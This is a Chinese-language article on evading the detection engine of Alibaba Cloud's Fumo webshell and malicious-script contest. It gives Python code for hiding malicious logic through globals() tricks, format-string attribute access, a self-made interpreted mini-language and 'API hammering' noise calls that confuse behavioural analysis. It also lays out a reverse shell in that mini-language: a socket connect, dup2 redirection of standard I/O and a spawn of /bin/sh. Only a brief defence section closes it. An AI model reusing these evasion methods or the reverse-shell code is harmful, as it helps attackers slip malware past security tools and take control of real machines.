伏魔挑战赛恶意脚本免杀技术深度解析

1. 伏魔挑战赛概述

伏魔挑战赛是阿里云举办的Webshell和恶意脚本免杀比赛，选手需要编写能够绕过伏魔引擎检测的恶意脚本。比赛特点：

• 奖金丰厚：每个不重复样本可获得400元奖金
• 检测技术先进：结合静态分析、行为检测和深度学习
• 难度逐年提升：相比前几届，检测能力显著增强

2. 伏魔引擎技术分析

2.1 检测技术组成

• 静态分析：解析代码结构，跟踪变量和函数调用
• 行为检测：监控系统调用和运行时行为
• 深度学习：基于模式识别的恶意代码检测

2.2 传统免杀手法失效原因

• 字符串拼接/替换：静态分析可解析执行得出最终值
• Base64编码：可被解码还原
• 动态函数调用：可被跟踪分析
• 数组映射(array_map)：可被解析执行

3. 高级免杀技术详解

3.1 污染全局变量技术

# 传统赋值
a = 1

# 免杀赋值
globals()["a"] = 1  # 通过字典操作隐藏赋值行为

3.2 字符串格式化高级用法

class Data:
    aaa = 114
    
# 通过对象属性访问隐藏真实意图
s = "{0.aaa}".format(Data())  # 输出114

3.3 自创编程语言技术（核心方法）

3.3.1 基本思路

将恶意脚本分为两部分：

1. 解释器：用Python编写，负责解析执行
2. 脚本：用自创语言编写实际恶意功能

3.3.2 实现示例

# 自创语言的"汇编"指令
actions = [
    ["set_val", "author", "Marven11"],
    ["set_val", "hp", ("127.0.0.1", 1234)],
    ["set_var_g", "hammer", "hammer"],
    # 更多指令...
]

# 解释器实现
d = {}
for fn, *args in actions:
    if fn == "set_val":
        d[args[0]] = args[1]
    elif fn == "set_var_g":
        d[args[0]] = globals()[args[1]]
    # 更多指令处理...

3.3.3 指令集设计

3.4 API Hammering技术（绕过行为检测）

def hammer():
    import random
    file = None
    n = random.randint(3000, 5000)
    for _ in range(n):
        p = random.random()
        if p < 0.5:
            import socket
            socket.socket(2, 1)  # 创建无用socket
        elif p < 0.98:
            import tempfile
            if file and Path(file).exists():
                Path(file).unlink()
            file = tempfile.mktemp()  # 创建临时文件
        else:
            import os
            p = os.fork()  # 创建无用进程
            if p == 0: exit()

技术要点：

1. 在关键操作之间插入大量无用系统调用
2. 随机化调用类型和频率
3. 干扰行为分析引擎的模式识别

4. 完整免杀流程示例

4.1 反弹Shell实现步骤

1. 导入必要模块（隐蔽方式）
2. 创建socket连接
3. 重定向标准I/O
4. 生成交互式shell

4.2 对应自创语言实现

actions = [
    # 1. 导入os模块
    ["set_var_g", "im", "pprint"],
    ["getattr", "im", "__globals__"],
    ["getitem", "im", "__import__"],
    ["set_val", "oo", "os"],
    ["apply", "oo", "im"],
    
    # 2. 创建socket连接
    ["set_val", "skt", "socket"],
    ["apply", "skt", "im"],
    ["set_var", "s", "skt"],
    ["getattr", "s", "socket"],
    ["call", "s", "2", "1"],
    ["getattr", "s_conn", "connect"],
    ["call", "s_conn", "hp"],
    
    # 3. 重定向I/O
    ["getattr", "s_fno", "fileno"],
    ["call", "s_fno"],
    ["set_var", "dup", "oo"],
    ["getattr", "dup", "dup2"],
    ["call", "dup", "s_fno", "0"],
    # 重复类似操作重定向stdout/stderr
    
    # 4. 生成shell
    ["set_var", "spawn", "oo"],
    ["getattr", "spawn", "posix_spawn"],
    ["set_val", "sh", Path("/bin")],
    ["div", "sh", "sh"],
    ["tolist", "sh2"],
    ["call", "spawn", "sh", "sh2", "env"]
]

5. 其他高级技巧

5.1 基于AST的绕过思路

• 利用注释干扰AST解析
• 非常规代码结构破坏静态分析

5.2 第三届比赛技巧

# 类Brainfuck的自创语言实现
content = "39+9/*0+39+9/*3+19+9/*7+29+9/*1+29+9/*2+39+9/*6+6'@..."

class Loader:
    def __init__(self, content):
        self.content = content
        
    def load(self):
        # 实现解释器
        stack = []
        obst = []
        while p < len(content):
            c = content[p]
            if c.isdigit():
                stack.append(int(c))
            elif c == "+":
                stack.append(stack.pop() + stack.pop())
            # 更多指令处理...
        return output

6. 防御建议

对于防御方，可从以下方面加强检测：

1. 增强解释器模式识别能力
2. 分析API调用序列的语义
3. 检测异常的系统调用密度
4. 监控非常规的代码结构

7. 总结

本文详细分析了伏魔挑战赛中的高级免杀技术，核心要点包括：

1. 通过自创编程语言绕过静态分析
2. 使用API Hammering干扰行为检测
3. 利用Python高级特性隐藏恶意行为
4. 分阶段实现复杂功能避免模式匹配

这些技术展示了现代恶意脚本与检测引擎对抗的复杂性和技术深度。